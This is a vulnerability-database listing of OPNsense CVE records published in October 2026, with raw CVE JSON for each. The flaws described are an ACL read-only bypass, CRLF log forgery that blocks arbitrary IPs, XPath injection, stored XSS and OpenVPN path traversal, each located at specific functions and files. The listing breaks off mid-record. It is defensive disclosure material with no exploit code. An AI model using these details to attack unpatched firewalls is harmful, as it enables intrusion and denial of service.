Search
Find a vulnerability
Search criteria
105 vulnerabilities by OPNsense
CVE-2026-71490 (GCVE-0-2026-71490)
Vulnerability from nvd – Published: 2026-10-15 15:24 – Updated: 2026-10-15 15:45
VLAI
EPSS
VEX
Title
OPNsense: Direct comma-separated user privileges bypass OPNsense MVC read-only write protection
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11, OPNsense\Core\ACL::hasPrivilege() appends a directly assigned comma-separated <priv> value as one string and then uses an exact comparison when checking user-config-readonly. A user directly assigned both a component write privilege and user-config-readonly can therefore be treated as lacking the read-only restriction, and MVC APIs protected by throwReadOnly() can persist configuration changes for that component. Group privileges are not affected by the same parser flaw because the group path already splits comma-separated values. This issue is fixed in version 26.1.11.
Severity
7.1 (High)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 15:44 UTC
CWE
- CWE-863 - Incorrect Authorization
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/578e02511… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/e15a88497… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/f674f4ff2… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-71490",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T15:44:35.198725Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:45:03.645Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-p9pr-782r-w2xw"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11, OPNsense\\Core\\ACL::hasPrivilege() appends a directly assigned comma-separated \u003cpriv\u003e value as one string and then uses an exact comparison when checking user-config-readonly. A user directly assigned both a component write privilege and user-config-readonly can therefore be treated as lacking the read-only restriction, and MVC APIs protected by throwReadOnly() can persist configuration changes for that component. Group privileges are not affected by the same parser flaw because the group path already splits comma-separated values. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-863",
"description": "CWE-863: Incorrect Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:24:43.580Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-p9pr-782r-w2xw",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-p9pr-782r-w2xw"
},
{
"name": "https://github.com/opnsense/core/commit/578e025111161ffd03fd3fd0ccdac203be546505",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/578e025111161ffd03fd3fd0ccdac203be546505"
},
{
"name": "https://github.com/opnsense/core/commit/e15a884973746319e79bd2cd421e8a015cc3ddb9",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/e15a884973746319e79bd2cd421e8a015cc3ddb9"
},
{
"name": "https://github.com/opnsense/core/commit/f674f4ff294a3f7c4cd0591563f6df47bea50034",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/f674f4ff294a3f7c4cd0591563f6df47bea50034"
}
],
"source": {
"advisory": "GHSA-p9pr-782r-w2xw",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Direct comma-separated user privileges bypass OPNsense MVC read-only write protection"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-71490",
"datePublished": "2026-10-15T15:24:43.580Z",
"dateReserved": "2026-08-06T19:56:23.725Z",
"dateUpdated": "2026-10-15T15:45:03.645Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-63442 (GCVE-0-2026-63442)
Vulnerability from nvd – Published: 2026-10-15 15:22 – Updated: 2026-10-16 17:13
VLAI
EPSS
VEX
Title
OPNsense: Log Forgery via Login Username CRLF in WebGUI Authentication → Pf Table IP Blocking
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the unauthenticated WebGUI login usernamefld accepts carriage-return and line-feed characters that survive LOG_AUTH processing through syslog-ng-lockout.conf into the syslog-ng program destination feeding lockout_handler. The consumer's readline() processing treats an injected fragment as a separate authentication event and selects the first syntactically valid IP address from the forged line. An attacker with network access to the login page can forge failure events for another IP, causing that IP to be added to the sshlockout PF table and its active states to be killed, or forge accepted events that reset an attacker's own brute-force counter. This can block administrative, DNS, gateway, or monitoring addresses and can bypass password-guessing lockout without authentication. This issue is fixed in version 26.1.11.
Severity
8.1 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 20:24 UTC
CWE
- CWE-117 - Improper Output Neutralization for Logs
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/8bdaad95f… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/c930ab586… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-63442",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T20:24:38.956809Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-16T17:13:35.384Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the unauthenticated WebGUI login usernamefld accepts carriage-return and line-feed characters that survive LOG_AUTH processing through syslog-ng-lockout.conf into the syslog-ng program destination feeding lockout_handler. The consumer\u0027s readline() processing treats an injected fragment as a separate authentication event and selects the first syntactically valid IP address from the forged line. An attacker with network access to the login page can forge failure events for another IP, causing that IP to be added to the sshlockout PF table and its active states to be killed, or forge accepted events that reset an attacker\u0027s own brute-force counter. This can block administrative, DNS, gateway, or monitoring addresses and can bypass password-guessing lockout without authentication. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "ADJACENT_NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-117",
"description": "CWE-117: Improper Output Neutralization for Logs",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:22:16.011Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-2v2x-m4j7-76pv",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-2v2x-m4j7-76pv"
},
{
"name": "https://github.com/opnsense/core/commit/8bdaad95f405f4587bb83bf35aa652ca493cc2a4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/8bdaad95f405f4587bb83bf35aa652ca493cc2a4"
},
{
"name": "https://github.com/opnsense/core/commit/c930ab586ffe2d2e010e5135657e5e054316ff58",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/c930ab586ffe2d2e010e5135657e5e054316ff58"
}
],
"source": {
"advisory": "GHSA-2v2x-m4j7-76pv",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Log Forgery via Login Username CRLF in WebGUI Authentication \u2192 Pf Table IP Blocking"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-63442",
"datePublished": "2026-10-15T15:22:16.011Z",
"dateReserved": "2026-07-16T19:35:57.767Z",
"dateUpdated": "2026-10-16T17:13:35.384Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58395 (GCVE-0-2026-58395)
Vulnerability from nvd – Published: 2026-10-15 15:16 – Updated: 2026-10-15 18:41
VLAI
EPSS
VEX
Title
OPNsense: XPath injection in MVC safe-delete
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the safe-delete path reached through ApiMutableModelControllerBase::delBase() interpolates an unvalidated safe-delete token from the request URL into an XPath expression over config.xml before confirming that the token is a valid identifier. A user holding any one affected module privilege can send a crafted token to one of 21 affected delete endpoints covering Traffic Shaper, DHCP relay, Dnsmasq, Firewall Category, or Kea DHCP, causing the XPath to match configuration data across modules. The resulting error response exposes configuration item names, descriptions, reference paths, and UUIDs and provides an XPath substring-presence oracle, including for modules the user cannot otherwise access. The request does not modify configuration or perform a deletion. This issue is fixed in version 26.1.11.
Severity
4.3 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 18:37 UTC
CWE
- CWE-643 - Improper Neutralization of Data within XPath Expressions ('XPath Injection')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/631e14721… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/d7054cef6… | x_refsource_MISC |
| https://hackerask.com/posts/opnsense | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-58395",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T18:37:26.648179Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T18:41:38.423Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-98h6-479q-9q3w"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the safe-delete path reached through ApiMutableModelControllerBase::delBase() interpolates an unvalidated safe-delete token from the request URL into an XPath expression over config.xml before confirming that the token is a valid identifier. A user holding any one affected module privilege can send a crafted token to one of 21 affected delete endpoints covering Traffic Shaper, DHCP relay, Dnsmasq, Firewall Category, or Kea DHCP, causing the XPath to match configuration data across modules. The resulting error response exposes configuration item names, descriptions, reference paths, and UUIDs and provides an XPath substring-presence oracle, including for modules the user cannot otherwise access. The request does not modify configuration or perform a deletion. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-643",
"description": "CWE-643: Improper Neutralization of Data within XPath Expressions (\u0027XPath Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:16:49.985Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-98h6-479q-9q3w",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-98h6-479q-9q3w"
},
{
"name": "https://github.com/opnsense/core/commit/631e14721b311badc1d3c0d29321e4d42585156b",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/631e14721b311badc1d3c0d29321e4d42585156b"
},
{
"name": "https://github.com/opnsense/core/commit/d7054cef69f72588feac1091254960835be19dfe",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/d7054cef69f72588feac1091254960835be19dfe"
},
{
"name": "https://hackerask.com/posts/opnsense",
"tags": [
"x_refsource_MISC"
],
"url": "https://hackerask.com/posts/opnsense"
}
],
"source": {
"advisory": "GHSA-98h6-479q-9q3w",
"discovery": "UNKNOWN"
},
"title": "OPNsense: XPath injection in MVC safe-delete"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58395",
"datePublished": "2026-10-15T15:16:49.985Z",
"dateReserved": "2026-06-30T18:19:58.378Z",
"dateUpdated": "2026-10-15T18:41:38.423Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58394 (GCVE-0-2026-58394)
Vulnerability from nvd – Published: 2026-10-15 15:20 – Updated: 2026-10-15 18:36
VLAI
EPSS
VEX
Title
OPNsense: Stored XSS in Administration Settings via Certificate Description
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, src/www/system_advanced_admin.php reads certificate records into $a_cert but omits that array from legacy_html_escape_form_data() before rendering each certificate descr value in the SSL Certificate selector. The certificate description accepts HTML metacharacters, allowing a user with the page-system-certmanager privilege to store markup that executes when another user opens System Settings Administration. This issue is fixed in version 26.1.11.
Severity
5.2 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 18:35 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/9d0a590e9… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/adcb02f8f… | x_refsource_MISC |
| https://hackerask.com/posts/opnsense | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-58394",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T18:35:21.476267Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T18:36:57.734Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-8pgr-x852-qx4j"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, src/www/system_advanced_admin.php reads certificate records into $a_cert but omits that array from legacy_html_escape_form_data() before rendering each certificate descr value in the SSL Certificate selector. The certificate description accepts HTML metacharacters, allowing a user with the page-system-certmanager privilege to store markup that executes when another user opens System Settings Administration. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.2,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:20:15.232Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-8pgr-x852-qx4j",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-8pgr-x852-qx4j"
},
{
"name": "https://github.com/opnsense/core/commit/9d0a590e9c49f4374a5539929b366123f63bc9eb",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/9d0a590e9c49f4374a5539929b366123f63bc9eb"
},
{
"name": "https://github.com/opnsense/core/commit/adcb02f8f68071e636bf9660b2cb8d0229f34674",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/adcb02f8f68071e636bf9660b2cb8d0229f34674"
},
{
"name": "https://hackerask.com/posts/opnsense",
"tags": [
"x_refsource_MISC"
],
"url": "https://hackerask.com/posts/opnsense"
}
],
"source": {
"advisory": "GHSA-8pgr-x852-qx4j",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Stored XSS in Administration Settings via Certificate Description"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58394",
"datePublished": "2026-10-15T15:20:15.232Z",
"dateReserved": "2026-06-30T18:19:58.378Z",
"dateUpdated": "2026-10-15T18:36:57.734Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58393 (GCVE-0-2026-58393)
Vulnerability from nvd – Published: 2026-10-15 15:15 – Updated: 2026-10-15 16:07
VLAI
EPSS
VEX
Title
OPNsense: OpenVPN Client Specific Override common_name allows path traversal in generated CSO files
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN Client Specific Override common_name field accepts path traversal sequences and openvpn_csc_conf_write() concatenates the value into /var/etc/openvpn-csc/<vpnid>/<common_name> without normalization or a basename check. The affected event handlers are client_connect.php and user_pass_verify.php. An authenticated user with Client Specific Override privileges can store the traversal value, and a matching OpenVPN client-connect or authentication event causes a generated CSO file to be written outside the intended directory. The file content is generated OpenVPN configuration rather than arbitrary bytes, and practical exploitation requires the attacker to cause a matching common name or username to be processed. This issue is fixed in version 26.1.11.
Severity
5.9 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 16:07 UTC
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/3af496143… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/6101b3e2c… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-58393",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T16:07:43.427308Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T16:07:55.688Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-2m9v-p7r9-gfcw"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN Client Specific Override common_name field accepts path traversal sequences and openvpn_csc_conf_write() concatenates the value into /var/etc/openvpn-csc/\u003cvpnid\u003e/\u003ccommon_name\u003e without normalization or a basename check. The affected event handlers are client_connect.php and user_pass_verify.php. An authenticated user with Client Specific Override privileges can store the traversal value, and a matching OpenVPN client-connect or authentication event causes a generated CSO file to be written outside the intended directory. The file content is generated OpenVPN configuration rather than arbitrary bytes, and practical exploitation requires the attacker to cause a matching common name or username to be processed. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:15:45.924Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-2m9v-p7r9-gfcw",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-2m9v-p7r9-gfcw"
},
{
"name": "https://github.com/opnsense/core/commit/3af496143a19153c18b2f9458b2510d58aff2b98",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/3af496143a19153c18b2f9458b2510d58aff2b98"
},
{
"name": "https://github.com/opnsense/core/commit/6101b3e2c90482111f420a47775c14a447441a72",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/6101b3e2c90482111f420a47775c14a447441a72"
}
],
"source": {
"advisory": "GHSA-2m9v-p7r9-gfcw",
"discovery": "UNKNOWN"
},
"title": "OPNsense: OpenVPN Client Specific Override common_name allows path traversal in generated CSO files"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58393",
"datePublished": "2026-10-15T15:15:45.924Z",
"dateReserved": "2026-06-30T18:19:58.377Z",
"dateUpdated": "2026-10-15T16:07:55.688Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58392 (GCVE-0-2026-58392)
Vulnerability from nvd – Published: 2026-10-15 15:18 – Updated: 2026-10-15 15:54
VLAI
EPSS
VEX
Title
OPNsense: Stored XSS in Services: NTP GPS
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the NTP GPS page stores the operator-supplied initcmd value in base64 form, applies legacy_html_escape_form_data() to the encoded string, and then uses base64_decode() to decode the value directly into the GPS initialization-command textarea in src/www/services_ntpd_gps.php. Because decoding occurs after escaping, stored HTML remains unescaped at the output sink. A user with page-services-ntp-gps privilege can store a value that closes the textarea, and script executes in the session of any user who later opens the GPS page. The script can read CSRF material and perform authenticated actions, including actions available to an administrator. This issue is fixed in version 26.1.11.
Severity
5.4 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 15:54 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/a92d9514b… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/ed04a154d… | x_refsource_MISC |
| https://hackerask.com/posts/opnsense | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-58392",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T15:54:50.680359Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:54:57.730Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-h793-67jm-j4m5"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the NTP GPS page stores the operator-supplied initcmd value in base64 form, applies legacy_html_escape_form_data() to the encoded string, and then uses base64_decode() to decode the value directly into the GPS initialization-command textarea in src/www/services_ntpd_gps.php. Because decoding occurs after escaping, stored HTML remains unescaped at the output sink. A user with page-services-ntp-gps privilege can store a value that closes the textarea, and script executes in the session of any user who later opens the GPS page. The script can read CSRF material and perform authenticated actions, including actions available to an administrator. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:18:32.003Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-h793-67jm-j4m5",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-h793-67jm-j4m5"
},
{
"name": "https://github.com/opnsense/core/commit/a92d9514b5436c868f8f97138ebed507f6de423c",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/a92d9514b5436c868f8f97138ebed507f6de423c"
},
{
"name": "https://github.com/opnsense/core/commit/ed04a154dc40967541be1388e9134e451be4199e",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/ed04a154dc40967541be1388e9134e451be4199e"
},
{
"name": "https://hackerask.com/posts/opnsense",
"tags": [
"x_refsource_MISC"
],
"url": "https://hackerask.com/posts/opnsense"
}
],
"source": {
"advisory": "GHSA-h793-67jm-j4m5",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Stored XSS in Services: NTP GPS"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58392",
"datePublished": "2026-10-15T15:18:32.003Z",
"dateReserved": "2026-06-30T18:19:58.377Z",
"dateUpdated": "2026-10-15T15:54:57.730Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58391 (GCVE-0-2026-58391)
Vulnerability from nvd – Published: 2026-10-15 15:12 – Updated: 2026-10-15 15:12
VLAI
EPSS
VEX
Title
OPNsense: Stored XSS in Firewall Rules/NAT pages via a HTML-attribute breakout
Summary
